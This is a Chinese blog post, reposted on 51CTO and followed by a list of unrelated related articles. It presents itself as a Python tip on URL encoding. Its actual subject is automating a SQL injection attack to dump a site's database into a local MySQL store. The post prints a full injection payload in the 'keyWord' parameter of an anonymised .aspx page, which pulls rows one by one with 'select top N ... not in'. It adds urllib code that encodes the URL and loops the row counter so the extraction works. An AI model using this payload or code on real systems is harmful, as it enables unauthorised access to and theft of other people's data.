Python技巧_处理带参数的超长URL

简介:

今天写了个脚本 主要就是实现利用SQLInj点直接把数据获取到本地并存到Mysql数据库中

学过Python的都知道可以使用urllib2中的request()方法直接打开Url,但仅限于url后没有跟复杂的参数串

今天我利用的Url是

http://xxx.com/xxx.aspx?jobType=-1&subJobType=-1&jobdq=-1&jobTime=-1&keyWord=1' and (select top 1 cast(CONTENT as varchar(8000)) from xxx.dbo.xxx where cast(CONTENT as varchar) not in (select top 22 cast(CONTENT as varchar) from xxx.dbo.xxx))=0--

开始我也直接用以下语句测试的:

url="上面的URL"

req=urllib2.Request(url)

urllib2.urlopen(req)

可是执行后一直提示500错误,由此可以发现应该是Python在对Url进行编码的时候更改了某些特殊字符造成Url失效

我们可以用urllib2或urllib的quote()方法控制对特殊字符的URL编码,这里推荐用 urllib下的quote_plus()方法,它将空格转化成'+'而非%20通用性更好。

我们更改后的代码如下:

url = "http://xxx.com/xxx.aspx?jobType=-1&subJobType=-1&jobdq=-1&jobTime=-1&keyWord=1' and (select top 1 cast(CONTENT as varchar(8000)) from xxx.dbo.xxx where cast(CONTENT as varchar) not in (select top "+str(count)+" cast(CONTENT as varchar) from xxx.dbo.xxx))=0--" 

quoteUrl=urllib.quote_plus(url,safe=':\'/?&=()')

fd = urllib.urlopen(quoteUrl)

这样我们就可以正常的提取数据了





















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/455872,如需转载请自行联系原作者

相关文章
|
开发者 Python 容器
python函数基础以及函数参数简解
python函数基础以及函数参数简解
|
3月前
|
JSON 缓存 开发者
淘宝商品详情接口(item_get)企业级全解析:参数配置、签名机制与 Python 代码实战
本文详解淘宝开放平台taobao.item_get接口对接全流程,涵盖参数配置、MD5签名生成、Python企业级代码实现及高频问题排查,提供可落地的实战方案,助你高效稳定获取商品数据。
|
5月前
|
算法 数据可视化 数据挖掘
基于EM期望最大化算法的GMM参数估计与三维数据分类系统python源码
本内容展示了基于EM算法的高斯混合模型(GMM)聚类实现,包含完整Python代码、运行效果图及理论解析。程序使用三维数据进行演示,涵盖误差计算、模型参数更新、结果可视化等关键步骤,并附有详细注释与操作视频,适合学习EM算法与GMM模型的原理及应用。
|
6月前
|
XML JSON 安全
分析参数顺序对Python requests库进行POST请求的影响。
最后,尽管理论上参数顺序对POST请求没影响,但编写代码时仍然建议遵循一定的顺序和规范,比如URL总是放在第一位,随后是data或json,最后是headers,这样可以提高代码的可读性和维护性。在处理复杂的请求时,一致的参数顺序有助于调试和团队协作。
197 9
|
存储 人工智能 开发工具
AI助理化繁为简,速取代码参数——使用python SDK 处理OSS存储的图片
只需要通过向AI助理提问的方式输入您的需求,即可瞬间获得核心流程代码及参数,缩短学习路径、提升开发效率。
1732 5
AI助理化繁为简,速取代码参数——使用python SDK 处理OSS存储的图片
|
7月前
|
数据采集 存储 NoSQL
分布式爬虫去重:Python + Redis实现高效URL去重
分布式爬虫去重:Python + Redis实现高效URL去重
|
9月前
|
数据采集 监控 Python
Python爬虫异常处理:自动跳过无效URL
Python爬虫异常处理:自动跳过无效URL
Python爬虫异常处理:自动跳过无效URL
|
开发者 Python
Python函数参数的魔法:揭秘如何用它们施展代码的无限可能!
【8月更文挑战第22天】Python函数参数展现了语言的强大与灵活。本文涵盖位置参数、默认参数、可变参数(*args)、关键字参数(**kwargs)及参数解包等,通过实例展示如何利用这些特性增强函数复用性与扩展性。类型注解的加入进一步提升了代码的可读性和健壮性。掌握这些技巧能帮助开发者写出更高效优雅的Python代码。
162 0
|
12月前
|
分布式计算 MaxCompute 对象存储
|
算法 计算机视觉 Python
python利用opencv进行相机标定获取参数,并根据畸变参数修正图像附有全部代码(流畅无痛版)
该文章详细介绍了使用Python和OpenCV进行相机标定以获取畸变参数,并提供了修正图像畸变的全部代码,包括生成棋盘图、拍摄标定图像、标定过程和畸变矫正等步骤。
python利用opencv进行相机标定获取参数,并根据畸变参数修正图像附有全部代码(流畅无痛版)

推荐镜像

更多